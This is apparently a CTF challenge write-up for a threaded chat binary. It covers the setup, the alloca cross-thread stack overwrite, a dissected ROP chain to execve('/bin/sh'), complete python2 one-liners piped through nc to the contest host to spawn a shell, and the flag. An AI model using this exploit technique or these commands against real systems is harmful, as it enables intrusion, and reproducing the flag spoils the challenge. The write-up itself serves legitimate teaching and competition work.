1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
|
Chat
====
# Author
n0p
# Challenge Text
To coordinate our efforts for a better future we started to build a chat program. While it doesn't have much functionality, yet, maybe you could have a look at it already to see if you can find any serious vulnerabilities. You know, better save than sorry!<br>
<br>
<code>nc chat.forfuture.fluxfingers.net 1337</code>
# Challenge Idea
[ROP/Etc. in the stack of another thread.](https://blog.exodusintel.com/2013/01/07/who-was-phone/)
# Setup
Compiling the Sources:
```
clang -no-pie -static chat.c -lpthread -ochat -Wl,-z,now -Wl,-z,relro
strip -g chat
```
Docker from:
```
FROM i386/alpine
```
Docker entrypoint:
```
ENTRYPOINT ["/usr/bin/socat", "-t5", "-T60", "tcp-listen:1337,max-children=50,reuseaddr,fork", "exec:./chat,pty,raw,stderr,echo=0"]
```
# Solution
```
./chat
Command Channel:
> /h
Command Commands:
/nc - New Chat Channel - Create and join a new Chat Channel.
/jc x - Join Chat Channel - Join the Chat Channel number x.
/lc - List Chat Channels - Lists the Chat Channels.
/q - Quit - Quit this awesome chat program.
/h - Help - Print this help message.
> /nc
Chat Channel 1:
> /h
Chat Commands:
/e - Echo - The first line following this command specifies the number of characters to echo.
/pc - Pause Chat Channel - Return to Command Channel. The Chat Channel stays open.
/qc - Quit Chat Channel - Return to Command Channel. The Chat Channel is terminated.
/h - Help - Print this help message.
That's all for now :/
>
```
The number of characters to echo are read with `fgets` and converted to an integer with `atoi`. Afterwards the memory for the characters is allocated with `alloca`. One cannot wrap esp around with `alloca` by providing a negative number of characters to echo, as the actual characters are also read with `fgets`. And `fgets` doesn't accept a negative size.
Idea:
* There is enough space in the command variable to place the string '/bin/sh', argv, and envp in the bss section.
* Create two channels and allocate enough memory with `alloca` via the echo command in the first channel to write to the stack of the second channel.
* ROP to execve.
```
# create channel 1
/nc\n
# pause channel 1 and return to command channel
/pc\n
# create channel 2
/nc\n
# pause channel 2 and return to command channel
/pc\n
# join channel 1 again
/jc 1\n
# echo a message
/e\n
# length of the message is 250000 -> we write to the stack of channel 2
# + 2 NULL bytes (two because I like 0xC more than 0xB) + '/bin/sh' + NULL byte + addr of '/bin/sh' string in command + NULL dword
250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n
# send rop code
\x00\x00\x00\x00\x40\x74\x0f\x08\x34\x74\x0f\x08\x1e\x90\x04\x08\x2c\x74\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n
# terminate channel 1
/qc\n
# join channel 2
/jc 2\n
```
The function who's return address gets overwritten is `__kernel_vsyscall`:
```
→ 0xf7ffdb20 <__kernel_vsyscall+0> push ecx
0xf7ffdb21 <__kernel_vsyscall+1> push edx
0xf7ffdb22 <__kernel_vsyscall+2> push ebp
0xf7ffdb23 <__kernel_vsyscall+3> mov ebp, esp
0xf7ffdb25 <__kernel_vsyscall+5> sysenter
0xf7ffdb27 <__kernel_vsyscall+7> int 0x80
```
This function is called at address 0x08079004 in poll:
```
.text:08078FE8 loc_8078FE8: ; CODE XREF: poll+19↑j
.text:08078FE8 mov [esp+1Ch+var_10], edx
.text:08078FEC mov [esp+1Ch+var_14], ecx
.text:08078FF0 call __libc_enable_asynccancel
.text:08078FF5 mov ecx, [esp+1Ch+var_14]
.text:08078FF9 mov edx, [esp+1Ch+var_10]
.text:08078FFD mov esi, eax
.text:08078FFF mov eax, 0A8h
.text:08079004 call large dword ptr gs:10h
.text:0807900B cmp eax, 0FFFFF000h
.text:08079010 ja short loc_807903A
```
As one can see, the registers ecx and edx are pushed at the beginning of `__kernel_vsyscall`. Therefore, we can set ecx and edx conveniently due to `__kernel_vsyscall`'s pops of these registers before its return.
ROP dissected:
```
# ebp
\x00\x00\x00\x00
# edx -> envp points to NULL dword in command buffer -> envp = [NULL]
\x98\x73\x0f\x08
# ecx -> argv points in command buffer -> argv = ["/bin/sh", NULL]
\x94\x73\x0f\x08
# ret -> 0x0804901e : pop ebx ; ret
\x1e\x90\x04\x08
# ebx -> addr of command with '/bin/sh'
\x8c\x73\x0f\x08
# ret -> 0x08051cf6 : pop eax ; ret
\xf6\x1c\x05\x08
# eax -> shell code number
\x0b\x00\x00\x00
# ret -> 0x0807D3D0 : int 0x80 ; retn (_dl_sysinfo_int80)
\xd0\xd3\x07\x08
```
This results in these commands:
```
$ (python2 -c "print '/nc\n/pc\n/nc\n/pc\n/jc 1\n/e\n250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n\x00\x00\x00\x00\x98\x73\x0f\x08\x94\x73\x0f\x08\x1e\x90\x04\x08\x8c\x73\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n/qc\n/jc 2\n'"; cat - ) | ./chat
```
```
$ (python2 -c "print '/nc\n/pc\n/nc\n/pc\n/jc 1\n/e\n250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n\x00\x00\x00\x00\x98\x73\x0f\x08\x94\x73\x0f\x08\x1e\x90\x04\x08\x8c\x73\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n/qc\n/jc 2\n'"; cat - ) | nc chat.forfuture.fluxfingers.net 1337
```
Apparently, the remote solution required `execve('/bin/sh', ["/bin/sh", NULL], [NULL])` and didn't accept `execve('/bin/sh', [NULL], [NULL])`. However, this text book solution had the first execve to begin with and the requirement hasn't been noticed in time.
# Difficulty
Easy
# Flag
flag{thread_chat_with_alloca}
|